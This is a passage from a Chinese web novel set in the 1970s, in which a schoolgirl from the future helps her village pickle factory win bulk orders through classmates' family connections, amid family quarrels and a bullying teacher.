知道和保安打好关系的人不止祁丰一个，很多老油条都会这么做，宋悦对象就是其中一个。 宋悦实在是迫不及待摆脱现在的生活了，其实学校食堂的饭比她以前在村里吃的好多了，而且食堂能吃饱，她在村里吃个半饱，都算是运气好了。 可自从跟她对象在一块后，她的嘴巴就被养刁了，她对象在邮局工作，天南海北的跑，每次遇到什么好吃的，好玩的，都会省下来带给她，一来二去的，这张嘴可不就开始挑剔了！ “等会中午回教室我就写行了吧？”钟莹莹被一而再、再而三的催促，实在是没脾气了。 “莹莹你人真好！”宋悦抱住她的脖子，用脸贴了贴她的脸。 她又想起什么，抬起头说：“你记得邮票就别贴了，我们找人带信，不经过邮局，不用浪费邮票的。” “好，我知道了。” 整整一顿中午饭，钟莹莹被叽叽喳喳的同班同学给围在中间，耳边像是有几百只鸭子在吵，她都怀疑自己耳朵可能要被吵聋了。 他们这边喜气洋洋的商量着怎么搞到美味小咸菜，被牛丽华截胡了出气对象的牛犇，心情就没那么美丽了。 想想刚刚牛丽华把人拉走的场景，又想想他为什么被他爹骂，牛犇回到办公室直接将桌上的搪瓷缸子给狠狠的摔在了地上，坚硬的搪瓷缸子都被摔变形了，足以见得他是多么的愤怒。 “牛闰桥、牛闰桥……你就知道牛闰桥，我牛犇到底哪里不如他了？” 牛犇脖子上的青筋暴起，太阳穴也在不停的跳动。 为什么他爹总是看不到他的努力，一直要在他面前夸赞牛闰桥是多么多么的优秀，夸完之后还要骂几句他是多么多么的不争气，到底是为什么？牛犇从来不觉得自己比牛闰桥差。 要不是他爹压着不给他晋升，他早都在学校当上主任了，那牛闰桥不就带个毕业班么？有什么可骄傲的？ 牛犇想着想着就开始恨起他老爹来，恨他有资源不给自己用，恨他总是偏向牛闰桥，看不见他的努力。 有老师吃完饭回办公室看见他这副模样，又看到一地狼藉，悄悄的退了出去。 牛犇正在气头上，他可不敢惹，人家有个好爹，他这平头小卒，跟人碰一碰，还不直接被开除？惹不起，惹不起，还是躲一躲为妙。 钟莹莹的信被送到村里的时候也正是钟家岗的村民恨不得忙到起飞的时候。 饶是如此，闺女托人来信，陈显英也是要第一个看的。 见信里只是写要家里的咸菜，陈显英松了一口气：不是在学校受了欺负就好。 不就是咸菜吗？村里有的……不对，村里现有的全部都订了出去，就连要冬天供给供销社的，都在加急赶工中，天知道现在夏天都没过完呢，就紧迫到这种程度。 村里的没法动，陈显英只好把家里自留的拿出来给钟莹莹寄过去。 这生意做的，把家里的口粮都给卖出去了，不过包不亏的，家里做的咸菜，换学校的饭，她闺女脑子挺好使。 地里种的菜只要长个差不多，就会被立马摘下来，送到厂里清洗晾晒腌制。 陈显英给钟莹莹的东西带到时，高二一班整个班都沸腾了。 牛犇路过，又借题发挥：“干什么呢？干什么呢？我从走廊就听到你们班嚷嚷了！整个学校就你们班最吵！” “晚自习不好好学习，一个二个在这交头接耳的说小话，是想我叫你们家长过来谈谈还是怎么样？” 一班顿时鸦雀无声，整个教室只能听见牛犇大声骂人的生硬。 所有学生都低着头一声不吭，牛犇骂着骂着口干舌燥，一下子就觉得没意思了。 他放话道：“下次再吵吵，来的就不是我了！好自为之啊你们！” 等他一走，方才还老老实实的学生们，一个个开始阴阳怪气的学他刚才说过的话。 赵磊翘起兰花指，娇滴滴道：“好自为之哦～各位～” 其他同学想笑又怕太大声把牛犇又给招来了，憋笑憋的脸都红了。 乐完后，又有人开始吐槽牛犇的行为：“牛老师都不是我们班的老师，也不知道为什么那么爱多管闲事～” “晚自习学校又没有规定不让说话，咱们班主任都说了，要是不想来，回寝室睡觉都成。” “唉～谁叫人家老爹是副校长呢，你要是有个当副校长的爹，你也可以在学校横着走！” 牛犇的大名在学校无人不知，无人不晓，可以说，市中的学生，能不认识校长，但是不能不认识牛犇。 不认识校长，人家大人有大量不会计较，不认识牛犇，你得罪他，那你就等死吧，他记仇的很，抓住机会就会把你往死里坑。 钟莹莹一直不明白，在这么敏感的时期，牛犇咋敢这么任性妄为的，就凭他那个副校长的爹吗？可大学教授都有被剃阴阳头下放的，钟家岗上次送到矿上的那一批里就有不少呢，牛犇他爹区区一个高中副校长，放任儿子任性妄为，真的没人举报他吗？ 一次二次的找她麻烦，没人举报，她查清楚对方的背景可就要上了哦～ 正好寝室里有个牛犇本家的牛丽华，钟莹莹打算从牛丽华下手，弄清楚牛家人这么嚣张究竟是凭什么。 第102章 “莹莹，你不会不知道我们省的一把手姓什么吧？”宋悦的脸上写满了不解。 但凡是池省的人，不应该不知道啊～ 钟莹莹有些僵硬：“不会是姓牛吧？” “你还真不知道啊？这都不知道你咋考来市里的？”宋悦有些怀疑钟莹莹的智商。 钟莹莹：“考试也不考省长叫什么，再说了，我们那就一小县城，谁关心省一把手的事啊？没准一辈子都见不着一次面。” 现在又不像后世，人人家里都有电视电脑手机，一上网，各个地方的领导人都搜的到，她就一小地方来的，现在电视才引进没两年，她家那个小县城全县都不一定有一台，她上哪去知道本省领导人的信息。 “丽华，你家这背景也太厉害了吧！”厉害的钟莹莹都有些语无伦次了。 领头人都姓牛，她想搞姓牛的，挺痴心妄想的，起码这两年是挺难的。 牛丽华害羞的笑了笑道：“没有那么夸张。” “省长是主支的，我家和牛老师家里只能算是他远房亲戚，人家都不一定认得我们呢。” 她是这么说，但钟莹莹却不大敢相信，真要是远亲，那牛犇能没人搞他？ “苟富贵、勿相忘！”钟莹莹的心态转变的很快，既然奈何不了牛犇，那还是抱大腿吧！牛丽华上次能在牛犇面前给她带走，双方还挺势均力敌的，抱好牛丽华的大腿，在市中三年她怕什么牛犇？她才不怕！ 牛丽华：“……” 论同学思维跳跃的速度太快她该作何反应？不知道，那就不反应。 钟莹莹自打牛家的背景后*，一双眼睛仿如探照灯一般，只要瞥见牛犇出现，立马退避一二三四五六七八步，总之能退多远退多远，班上同学觉得她这行为挺正确的，于是整个一班但凡遇到有牛犇出现的地方，纷纷是退避三舍。 牛犇自己对这事还挺高兴的，他认为自己在学生中的威望变高了，大家都害怕他。 陈显英从自家人嘴里省下来的咸菜拿到市中高二一班的学生手里，几十号人，没多久就吃的空空如也，没了下饭菜，骤然回归到学校食堂索然无味的保命餐的众学生，目光如炬的盯着钟莹莹，她走哪，他们盯哪。 钟莹莹仿佛看见了第二个他们村的村长钟强先，她实在是受不了这种无处不在的注视感，好像无论她做什么事情，都有人在盯着她。 在一次午饭的时候，她终于忍不住爆发了。 “大家能不能不要再盯着我了啊？再盯也盯不出咸菜来！我信早都寄回家去了，你们要盯不是应该盯余嘉祥吗？他说回家通知他舅舅，进度如何，咱们好像一直都不知道呢？”死道友不死贫道，钟莹莹最终决定了祸水东引，把她同桌献祭出去吸引班上同学的注意力。 听完她的话，一直盯着她的那种灼热目光果然消失不见了。 如芒在背的人换成了余嘉祥。 他呆楞了一瞬间，立马就反应过来：“就在这个月！” “我舅舅他们厂的运输队，这个月就会去钟家岗，大家不要着急，很快的！” 赵磊无精打采的问：“很快是多快？”他已经三天零十二个小时没有吃到他的美味小菜了。 “应该下周就会过去，周六我就回家问问，指定会给你们一个满意的答复的。” 余嘉祥被人盯着，恨不得马上就回家问问他舅舅，到底什么时候能把他的事情办好。 周六的时候，学校放假，由于余嘉祥情况特殊，之前就是走读生，所以班主任在犹豫了几秒钟之后，就同意了他出校回家的申请。 余嘉祥出去之后没去谢军那里，这个点他舅舅指定还在忙，去他家也找不到人，去厂里他也进不去，还得填访客申请，等他看见了才能审批，耗时非常长。 余嘉祥选择先回他自己家，看他那个后娘和她的猪妖儿子有没有作妖，离家这么长时间，他很不放心啊。 刚一进门，果然没令他失望，这俩不但作妖，还作了个大的，简直是作死啊！ 他走的时候上锁的房间，此刻房门大敞着，房间里的摆设也完全变了个模样。 床和柜子都不见了，取而代之的是一架钢琴？？？ 他那死鬼老爹是嫌弃自己活的太久了，把这玩意弄到家里来？ 从房间里出来，正好撞见他那好后娘带着猪妖儿子从外面回家，两人一见他都愣住了。 后娘反应速度比猪妖孩子快，她变脸速度一绝的亲亲热热迎上来：“嘉祥回来了啊？怎么不提前说一声？娘也好出去买些菜，你看家里现在什么也没有，都拿不出东西来招待你了！” 她话里话外的意思都是余嘉祥是这个家的客人，想要激怒他。 余嘉祥也如她所愿，瞬间暴起，提起她的大胖儿子就是一顿揍。 “嘉祥，嘉祥，你怎么一回来就打弟弟，你别打弟弟了！”后娘虽然无情，但是对她的大胖儿子那叫一个宠爱啊。 余嘉祥：“不打他难道打你吗？” “我走的时候有没有给你们说过，不要碰我的东西？” “我房间的那架钢琴谁放的？” 后娘有些心虚，但还是努力为自己辩解道：“嘉祥，娘也是想着你住校得等到寒假才能回来，你弟弟又要学钢琴，你的房间空着也是空着，所以临时用一些。” “你放心，你的东西，娘都给你收得好好的，放在仓库呢。” 要说整个余家就没有其他能放胖儿子钢琴的地方了？那不致于，余家光客房就留了两三间，拿出一间给胖儿子练琴完全是可以的。 那这个后娘为什么要这么做呢，这个问题的答案恐怕只有她自己心里清楚。 余华容一回来就看见他的大儿子在打他的胖儿子，怒斥道：“嘉祥，你这又是在做什么？” 余嘉祥气的都不知道说啥才好了，问他在做什么？咋不问问自己做了什么呢？ “我就问你一句，这肥猪跟他娘把我房间拆了，在我屋里放钢琴的事，你知道不知道？”要是知道，那余嘉祥觉得他这个爹也没必要要了。 余华容皱眉：“什么钢琴？” 见余嘉祥不想搭理他，他又把视线转移到后娘身上：“琬容，你来说！” 后娘琬容欲哭无泪道：“那啥，我就是看儿子对钢琴感兴趣，就想着买一台来给他练练，陶冶陶冶情操。” 她就是想趁着余嘉祥去学校了，在家里过一把女主人的瘾而已。在这个家里，只有余嘉祥的房间是她无法掌控的，这不，趁人走了她就来了个大改造。 她甚至连余嘉祥房间里的东西都一件没敢丢，都好生的收在仓库里，用布盖的严严实实的。 就等余嘉祥快放假的时候，她再把房间复原，这样她既过足了女主人的瘾，也不会被人抓到苛待继子，她一直觉得自己的计划天衣无缝来着，千算万算也没想道余嘉祥竟然会提前回家。 该死的市中，不是说好了，住校的学生是全封闭式管理的吗？怎么学生想回家就回家，都不带通知家长的，她一定要投诉他们。 余嘉祥见这个好后娘还没意思到问题究竟在哪里，他都忍不住为他那没一点良心的爹默哀了，娶了这么一个媳妇回家，何愁对家不抓他把柄给他拉下马，人家不抓，他媳妇都能给把柄递到人家手中。 “谁让你买的钢琴？” “你怎么敢的啊！” 余华容的呼吸都有些不畅通了。 琬容讷讷：“不就是一架钢琴吗？” 余家又不是买不起，怎么这对父子的反应都像是她做了天大的措施一般。 余华容捶了捶自己的胸口，呼吸刚平稳了没两秒，又被她的话给气了个倒仰，急火攻心吼道：“你那是钢琴吗？你那是小资主义！” “你知道一旦有人拿这点举报我，我会有什么下场吗？我们全家都得下放到农场，到时候都喝西北风去！” 琬容脸顿时煞白，嘴里喃喃道：“没这么严重吧！” “我这就去把钢琴处理了，我找人来给它拉走！” 见她还想动作，余华容气急败坏道：“你还想做什么？大白天的通知别人拉琴，生怕别人不知道家里买了琴是吗？” 这个猪脑子，这么多年一点长进也没有。 余华容缓了缓后，实在没招了的冲她摆摆手道：“你先带着你的肥……儿子回房间反省反省吧！钢琴的事我找人来解决。”一时口快，余华容差点跟着大儿子一块喊小儿子肥猪了。 余华容盯着小儿子肥胖的身躯，心想，他这小儿子确实该减减肥了，身上的赘肉叠了一层又一层，真是少见有这么胖的。 见母子俩得了自己的话，像得了特赦般的立马就想逃走，余华容没忍住又多嘴了一句：“琬容，儿子还小，你是大人了！下次做事前，先动动脑子，什么事能做，什么事不能做，你要心里有数！” 余嘉祥不知道这人有数没数，反正看她抱着胖儿子跑的倒挺快，后娘这么上不得台面，他觉得死鬼老爹还挺活该的。 讨厌的人得到报应，余嘉祥的开心溢于言表。 处理完媳妇和小儿子，余华容终于抽出时间来面对大儿子。 “嘉祥，听说你之前帮了你舅舅一个大忙？” 第103章 “有啥事？”余嘉祥冷眼看着他这个所谓的父亲。 余华容揉了揉眉心，随即开口道：“嘉祥，你不要脾气总是那么冲！” “那是你娘和你弟弟，虽然脑子不太好，但我们终究是一家人，要相互包容的。” “谁跟你们是一家人！” “嘉祥！”余华容真的生气了，余嘉祥这都说的是什么话！ “你的一家人是指会给我汤里放东西的后娘，还有我一去学校就霸占我房间的胖子吗？” 余华容竟无言以对，良久他才答复道：“这件事我会给你一个交代的。” 余嘉祥对他这个父亲早就不抱有什么期待，冷冷开口道：“我也不要你什么交代。”因为要了这件事也只会不了了之。 “你给我拿些钱跟票，我回学校要用。”这些都是余嘉祥应得的，他才不会因为吵架就把这些东西推给那对母子。 余华容在这方面对儿子很是大方，他直接大手一挥，对着身边的小王道：“你去给我书房左边抽屉里的信封拿出来。” 这都是早就准备好的，本来就要给余嘉祥的。 想到余嘉祥一人在学校住着，吃不好也睡不好的，他顿了顿又道：“右边抽屉里那个也拿过来吧！” 家里这两个还有闲钱搞小资，想必也用不到他那点生活费，既然如此，不如都补贴给大儿子，也算是一种补偿。 小王常年跟着余华容，对余家内部了如指掌，因此很快就将他要的东西给取过来了。 余华容拿着两个厚厚的信封递给大儿子，并开口道：“拿着吧！自己一个人在学校，爹不在你身边，什么都得多注意着些～” 这话说的他好像是一个慈父一般，余嘉祥接过信封也没给他好脸。 余华容接着又道：“你舅舅那边的事我听说是你给牵的线？” “市政这边有钢铁厂的职工家属，他们说那个特产味道很好，所以想着问市政的年礼能不能也发那个，嘉祥，你看……” 余嘉祥就知道这人提起他舅舅，不会没事，原来是在这等着他呢。 “那是我同学老家的工厂产的，我可以帮你问问。”他本想直接拒绝，但想到钟家岗咸菜厂是他同桌的老家，接个市政的单子，应当会对他们帮助很大，起码名声会更上一层楼，他便没有把话说太死。 听到儿子的回答，余华容欣慰的笑了：“好，爹等着你的好消息。” 他的儿子终于长大了，知道为自己这个老父亲排忧解难了。 “我还有事，一会儿要去舅舅家一趟，我先走了。”教训了后娘和胖弟弟，余嘉祥也不准备多待。 余华容站起来挽留：“不在家待一晚上？” 余嘉祥冷哼一声：“待哪？家里还有我住的地方吗？” 余华容有些尴尬：“那啥，嘉祥，你房间的事，爹会处理的，你放心，等你下次回来一定会给你恢复原样。” 他接着又找补道：“小王，去给库房里那瓶茅子酒拿出来……还有上次秦主任带的虾干，都拿出来。” 小王：“是！” 余华容拍拍余嘉祥的肩膀：“你也长大了，上你舅舅家总不好空手去，会招人不待见的。” 余嘉祥没好气道：“我舅舅又不是你，我都去过多少回了。” 余华容：“……”这死孩子，该机灵的时候不机灵，不该机灵的时候机灵的要死。 时间差不多了，等小王把东西拿来，余嘉祥直接给东西绑在家里的自行车后座上，长腿一蹬，跨了上去，把车子给骑走了。 他打算去了舅舅家打探完消息后，把车子骑回学校，这样也少走几步路。 余嘉祥到的时候，谢军一家正准备吃饭呢。 “舅舅、舅妈！” 听到外面有人喊，屋内的三人抬头往外看，谢文博看到是他表弟，立马亲亲热热的迎上去：“嘉祥，你来了啊，正好，我娘刚做好饭，坐下来一块吃！”他说话的时候有些含混不清，因为他嘴里还叼着一个馒头呢。 谢舅妈见正赶上饭点有人来，她心里其实是不大高兴的，但想到余嘉祥早早没了妈，她又将那一丝不高兴给压了下去，强撑着笑容招呼余嘉祥：“嘉祥，快来坐，舅妈今天刚上市场买了条鱼呢。” 余嘉祥不跟他们客气，轻车熟路的自己去拿来碗筷，开心的道：“谢谢舅妈！我正好没吃饭呢！” 在学校就算有钟家岗的咸菜抚慰心灵，但也不及家里的鸡鱼肉蛋打动人心。 他跟谢文博一样，塞了一个扎实的白馒头进嘴里，咬了一口又想起自己好像忘了些什么，又将馒头放下，冲进院子里，把自行车后座上的东西拿下来，递给谢舅妈道：“舅舅、舅妈，这是我爹让我给你们带的。” 送完东西，他又去洗了手，重新坐下吃饭了。 谢舅妈娇嗔道：“你看你这孩子，来都来了，还带什么东西？”这次她脸上大大的笑容是真心实意，不掺一点假的了。 谢军：“这次舅舅就收下了，下次听你舅妈的，别带了。” 余嘉祥点点头：“我知道了。”不过他下次还会带的，因为他总感觉今天舅妈接了礼物之后心情特别好，是他以前疏忽大意了，舅舅跟他有血缘关系，所以才一直宠着他，可舅妈只是因为他是舅舅的外甥，才对他好的，这种好总有尽头，余嘉祥想维持好和舅舅一家的关系，就得让舅妈心里也开开心心的。 “舅舅，你们厂在钟家岗定的货啥时候去运啊？我同学都问我好几次了，这不，刚一周六他们就催我出校赶紧过来问问。” 谢军抬头看向大外甥：“车队已经在路上了，应该明天就能回来。” “你们让带的那几坛子，需要我喊人给你送过去吗？” 余嘉祥大喜：“那可太好了，谢谢舅舅。” 省了自己出来搬东西的功夫，余嘉祥不知道有多高兴。 谢舅妈有些好奇：“市中的食堂有那么差吗？以前你表哥在那上学，我也没听他提起过。” 一直埋头苦吃的谢文博幽怨的抬起头：“娘，我那是没说吗？我一回家就说，可你从没放在心上。” 市中食堂一向不管口味问题的，不管什么软的硬的，黑的白的，通通给你锅里放，加水，然后煮成糊糊，美名其曰这既能节省学生吃饭时间，留足时间让学生多多学习，还不缺失营养，能够让学生健康成长。 谢舅妈突然想起好像是有那么一回事来着，怎么办？突然感觉好对不起儿子。 能让对食物来者不拒的谢文博都接受不了的，谢舅妈能够想到市中的食堂有多难吃了。 虽然对余嘉祥这个外甥总是不打一声招呼就往家里来有些怨念，但养了这么些年，谢舅妈对他也是有感情的。 她当即就在想，家里有没有什么能给余嘉祥带到学校里面去的。 好像有几个苹果，还有两个水果罐头来着，一会儿等孩子吃完饭，都给他带上。 至于都拿走了，谢文博吃什么？谢舅妈表示，他都是大人了，少吃一口也不会死。 吃完中饭，谢军和谢舅妈还想留余嘉祥吃完晚饭再回学校，但余嘉祥想到学校里那群还在嗷嗷待哺、等自己消息的同学，只能含泪拒绝了。 带着一自行车后座的各式零嘴儿的余嘉祥就这么回了学校。 因着是周六，学生们都不上课，所以这会儿都吃了午饭，在寝室休息呢。 余嘉祥住的是单间，把车子停到楼下，将舅妈给带的东西放回宿舍里放好，他才带着给其他同学在供销社买的各种糕点敲响了他们的门。 “好人啊～”赵磊热泪盈眶，等这一刻已经等了很久了。 天知道他在学校里，有钱花不出去的那种难受。 食堂是不限量，随便购买，但是鬼才愿意多吃那玩意啊！ “你们先拿好，我问了，咱们让帮忙带的钟家岗酱菜明天就能到，我舅舅会给送来学校，到时候我们去校门口拿就行。” 余嘉祥抿唇：“而且，据说……我是说可能啊……可能我们也能分到两坛子鸭蛋，如果有的话，我舅舅会让舅妈给煮熟了再给我们拿过来。” 赵磊直接扑过去，拽住他的裤腿：“贤弟大恩大德，备没齿难忘……” 其他人也很激动，有鸭蛋吃了，还是传说中那种很好吃的鸭蛋，一个二个的给余嘉祥表忠心：“嘉祥啊，以后有事就给哥几个说，哥们罩着你！” 男生寝室送完了，还有女寝的，女寝余嘉祥上不去，只能托宿管老师带话，他在楼下等。 女生们的反应跟男生们相比没有好到哪里去，一个个拿着让余嘉祥代买的东西爱不释手，恨不得在楼下就当场拆包。 趁着其他同学分东西的时间，余嘉祥把钟莹莹拉到一边，跟她询问起了订单的事情。 虽然余嘉祥很讨厌余华容那个父亲，但那终归是他爹，一荣俱荣、一损俱损，他又不是他那个蠢后娘和胖弟弟，什么损人不利己的事情都做的出来。 听到余嘉祥又给自己村里拉了个单子，还是史无前例的巨大单，钟莹莹惊的都合不拢嘴了。 第104章 “你确定是真的？”钟莹莹都有点怀疑了，她又不是小说里怼天怼地的天命之女，咋随随便便来个同桌就是牛逼人物，舅舅能给她家里带来生意就算了，他自己家里还能给她们村带来个更大的。 余嘉祥：“你给我当小弟，我还能骗你吗？”余嘉祥没有忘记自己的初心。 现在不仅仅是初心了，还沾上家里的利益了。 他父亲能不知道这件事情和他舅舅去谈更好吗？当然知道，但因为自己是他儿子，他想给自己一个锻炼的机会，成了能给他在市政那边的名声镀一层金，不成的话，他再去找谢军，对他来说没有任何损失。 余华容想锻炼余嘉祥，余嘉祥也想组建属于自己的班底。 市里各个机关单位，乃至各大工厂领导的孩子，凡是这个年龄段的都在市中上学。 钟莹莹属于意外，但她现在已经成了自己做这件事情的引子，让余嘉祥能够自然而然的和同学打好关系。 余嘉祥：“如果你们村那边没有问题的话，你给我一个准话，明天上午我还要出校一趟，给我爹一个答复。” 钟莹莹思考了一下，想到来学校之前，村里刚刚扩建的厂房，还有买的那辆二手车，她想应该没问题，就是人会幸苦一些，还有就是原材料方面会有一些问题。 但这些都是可以解决的，自己村的人少，但周围其他村子的人可不少，就像隔壁吴家村，他们村的村长一直想让村里人和钟家岗的人打好关系，如果雇佣他们村的人来钟家岗帮忙处理基础岗位的工作，如摘菜洗菜的话，那吴村长指定会特别乐意。 还有就是，钟家岗仅有一辆货车，每天仅靠她哥钟绍华一人开车，她嫂子钟明月压车，能够采购回来的原料有限。 如果能让吴家村的人过来当临时工，乃至正式工，那就能光明正大的借用他们村闲置的货车，这是双赢的事情。 “我觉得没问题，我先替村里人接下了，明天我跟你一块请假，回村里说一声。”事关重大，钟莹莹怕村里面不重视，所以决定请假回村来促成这件事情。 “你一个人？” “我问问室友能不能跟我一起，或者让请学校保安跟我一起。”钟莹莹更偏向后一种可能，祁绮人家跟这件事情没有任何关系，莫名其妙把她拉下水，影响人家上课，就为了陪自己回村，有点不太好。 雇佣保安就没那么大的顾忌了，人家在学校有正式工作，还是退役人员，人品有保障，不至于为了这么点事对自己起了歹心，花钱能解决的事最好还是不要欠人情。 “那就好。” 余嘉祥虽然想要尽快办成这件事情，但同桌的安全问题他也很重视。 “你有估算过具体需要多大量吗？” “我爹给我说的是应当跟机械厂那边数量差不多，可能还要再多一些，具体的明天我回去和他说了，他会派人去你们村里和负责人详谈。” “但那个包装你们得改进一下，价格不是问题。”给机械厂的那一批包装实在是有些粗陋，和市政往来的都是一些有身份的人，面子大于天。给他们送用粗瓷坛子包裹着的东西和送用白玉坛子装着的东西是两个概念。 “坛子是小事，我们隔壁村就有一个窑厂，之前的坛子都是在他们那订购的最便宜的那种，贵的也不是没有。”钟莹莹想了，自己村那简陋的包装确实该换一换了，起码那坛子上村里的商标应该加上，不然的话人家随便拿出一坛子咸菜就说是他们钟家岗产的，他们也百口莫辨。 还有坛封，既然想订的是年礼，那就得搞的喜庆一些，用红纸封口最好，再给每种菜取一个高尚的名字，写到红纸上面。 这活交给知青，还有牛棚里的那个，都挺合适，既然到了钟家岗，所有的人都得给她动起来，她不允许在村里人都为了村里的前程忙忙碌碌的时候，还有人在吃白饭。 余嘉祥仅仅提了一个换包装的事，钟莹莹就头脑风暴想了这么多。 只能说后世来的脑子就是不一样，在信息爆炸的时代，人们见多识广，随随便便看见的东西，都是远超现在这个时候的想法。 钟家岗咸菜厂和市政的合作，就这么在俩十几岁的小孩手里谈成了。 周日一到，钟莹莹就跟余嘉祥一块去了老师办公室请假，要不是他俩年纪实在是太小，还生不起暧昧，老师都想嘀咕两句，这请假是不是为了见家长的了。 俩人不明白老师心中所想，各自的心思都放在自己将要办成的大事上面，旖旎情绪？压根不存在。 去找那俩保安的时候，余嘉祥也跟着呢，虽然钟莹莹觉得他们没啥问题，但是防人之心不可无。 带着余嘉祥，能让他们知道，这件事情是有人盯着的，就算他们有歪心思，也不会轻举妄动。 坐上回家的火车的那一刻，钟莹莹的心情跟以往的任何一次都不一样，她挺兴奋的，那可是市政的单子，前世今生她都是第一次接触这种事情。 “莹莹？你怎么这个点回来了？就你一个吗？”钟绍华是最先发现钟莹莹回来的。 以前钟莹莹身边还跟着同学呢，这次完全就只有她一个人，这让钟绍华怎能不担心。 此时已经入秋，天气开始转凉，傍晚人们就已经换上长袖。 “哥，我们回家说。”钟莹莹扯扯钟绍华的袖子，让他跟自己回家。 钟伟先和陈显英都在家里，钟明月带着钟新澄去了黄家，跟钟明芳一块做衣裳去了，钟家岗的单子一笔笔交付出去，村民们手里也有了钱票，在生活上比之前宽泛了不少。 “爹，娘，我回来是有一件大事要通知你们！” “这件事情关系到我们钟家岗的未来。” “市政想和我们村谈一笔生意。” 钟莹莹的话在整个钟家无异于白日起炸雷，把每个人都给惊到了。 “莹莹，你说的是真的吗？确定不是有人骗你？”钟伟先有点不相信，这么大的事情会有人和一个小孩子谈。 “是真的，爹你记得上次来我们村的那两个男生吗？” 钟伟先点点头，现在距离暑假没过去几个月，所以他还记得清那两人长啥样。 “之前村里那个大订单，不是他舅舅厂里的吗？” “现在这个是他爹单位的，他爹是市里的领导。” “过两天他们会派人来我们村谈这件事情，爹，这个单子对我们来说可是至关重要！” 钟伟先拦下想开口说话的钟绍华，示意女儿继续往下说。 “接了市政的单子，我们村的名气在市里也就打出去了，以后就不愁订单了。” “市政跟工厂可不一样，人家那可是正儿八经的大领导。” “领导们都从我们村的厂里订东西，那其他人还不有样学样，跟着订。” 钟伟先跟着问：“可我们村没那么大产量，村里现在的订单都有点做不完了，你看这怎么办？” 钟莹莹把对着余嘉祥心里所思所想的那一套在钟伟先面前复述了一遍，完了还说：“爹，你看我们村子现在发展的那么好，但其他村子还跟以前一样，那以后万一出了什么事，他们会不会眼红、会不会嫉妒？” “如果我们大家一起合作，先富带后富，钱票大家一起赚，都在同一条船上过活，这种可能性会不会降低？” 钟伟先听完闺女说的所有话，忍不住捂着自己的脸，低头闷闷笑出了声来。 他钟伟先何德何能，竟然能生出这般聪慧的女儿，还没成年呢，就能走一步看十步，为家里排除隐患了，这真是祖坟冒青烟，烧八辈子高香才能换来的。 再抬头时，他的眼角笑的都沁出了一丝泪花，他当机立断拍板道：“莹莹，就按你说的做，我去跟强先说这事。” 钟伟先觉得事不宜迟，这事最好早点让钟强先知道，也能尽快落实到位。 钟莹莹就这么在家里住了下来，她请了好几天假呢，就为了等事情尘埃落定，再回学校。 至于跟她一块来的保安，现在正在县里的招待所住着呢，钱她出的，他有退伍证明，住招待所不需要介绍信。 晚上睡觉的时候，陈显英觉得心里有几分忐忑，她用胳膊肘戳了戳钟伟先：“这事咱们就听闺女的了？我总感觉心里有一点不大安宁。” “你说这事要是成了还好，要是不成，会不会有人把错怪到咱孩子身上？” 钟莹莹还太小，陈显英不希望她承担这么大的压力。 钟伟先从被子底下摸索着找到她的手，握住安抚道：“你呀，也不要太担心了，孩子终归是要长大的。” “莹莹现在这么聪明，我们当爹娘的，应该为她高兴才对。” “再说了，村里哪户人家你不放心？大家都当了多少年的邻居了，就算事情办不成，还有我呢，怎么会有人牵扯到一个孩子身上去？” 第105章 “都抓紧点啊，别等到人家市里都上门了，咱们事情还没办好。” “那个谁，门头挂低了，再高一点！哎～对对对，就现在这样正正好。” 人逢喜事精神爽，钟强先起了一个大早在村里监督村民们翻新工厂和打扫卫生。 他溜达了一圈，见大家的活干的都挺不错的，他满意的点点头，正要加入进去一块干活的时候，忽然他眼睛一扫，瞥见了老楚媳妇的动作，他立马如同惊弓之鸟一般，一个大跳、跳到了她面前：“老楚媳妇，说了多少次了，厂里的咸菜是往外处卖的，不是留给你自家吃的，要多注意卫生，要是让别人看见你洗菜的时候一会儿扣扣鼻子，一会儿扣扣眼睛的，指不定以为咱们钟家岗多不讲究呢！” 老楚媳妇被他骂的脸青一阵红一阵的，她小声辩解道：“村长，大家不都这么过来的吗？也没见出什么问题啊？” 钟强先恨铁不成钢的用手指点了点她：“那咱们乡下人跟城里人能一样吗？” “要是咱们村里人自己吃，我就随你去了，可现在咱们村的货可能是要拿到市里去卖的，市里你知道吧？” “能把咱们村产的东西卖到市里去，还是卖给政府，是我们八辈子也修不来的福气，要是因为你个人行为，人家来了一看，说钟家岗的村民这么不讲卫生，这里的东西还能吃吗？到时候人跑了，我惟你是问。” 钟强先现在也是能耐了，说话都是四个字四个字往外蹦。 老楚媳妇被他的话给吓的不轻，立马端正态度道：“村长，我改，我改还不成吗？” 非但如此，见一旁的傻儿子还在水里玩菜，她一个巴掌就拍楚天宝脑门上去了：“村长说什么你没听见吗？还玩，被别人看见咱们村的货卖不出去了，到时候看你怎么办？” 楚天宝洗菜洗的好好的，莫名其妙被他娘打了一巴掌，整个人委屈极了：“娘～” “别喊我娘，老实干活听见了没有？” 老楚媳妇骂完儿子，又抬头看钟强先的表情，见他脸上没有什么不正常的地方，又想把手伸到盆子里继续洗菜，手还没伸进水里，就听耳边传来：“老楚媳妇，我刚刚说什么来着……” 老楚媳妇媳妇不知道她究竟又做错了什么，正一脸苦恼时，忽然想到这双手才刚刚‘碰’了她儿子的脑瓜子，她立马去边上打了一盆干净的水，把手伸到盆子里洗干净了，然后像小学生一样举起手给钟强先看：“村长，你看，我手洗干净了！” 钟强先这下没意见了，冲她笑着点点头道：“非常好，*记得继续保持这个状态啊！” “我会的。” 等钟强先走了，老楚媳妇才用手背擦了擦脑门上汗，长舒一口气，刚想继续方才的动作，又想起钟强先的话，她终是去一旁洗了手才回来继续干活。 看似走了，实则走暗地里监督她的钟强先对她这一行为十分满意，这次是真的走了。 要迎接市政的人，村里不止是工厂要一尘不染，干干净净，村民们的家里包括村里的小道都要收拾的板板正正的。 早几年修的路现在不太平整了怎么办？拿着大铁锹就是干。 铁锹拍不平，还有大铁锤，一锤子一锤子锤下去，总能锤的服服帖帖。 钟莹莹跟钟伟先也有事情要做，此时此刻他们齐聚知青院，就连牛棚里的宋晴芳也被请来了。 一开始知青们心里是有异议的，但是钟莹莹让他们各自写了几个字出来和钟晴芳的字放在一起做对比，就没人说的出话来了，因为比对结果实在是太惨烈了些。 宋晴芳的字：铁画银钩。 知青们：只能说能看出来是个字。 钟伟先：“你们也不要对宋晴芳抱有歧视、讨厌的态度。” “她是坏分子没错，可坏分子也是能改造的，她被送到我们村下放而不是被送到菜市街吃枪子，不正是证明了这一点吗？” “而且”钟伟先停顿了一下，目光在面前每一位知青脸庞上扫过，像是想记住他们每个人此刻的反应。 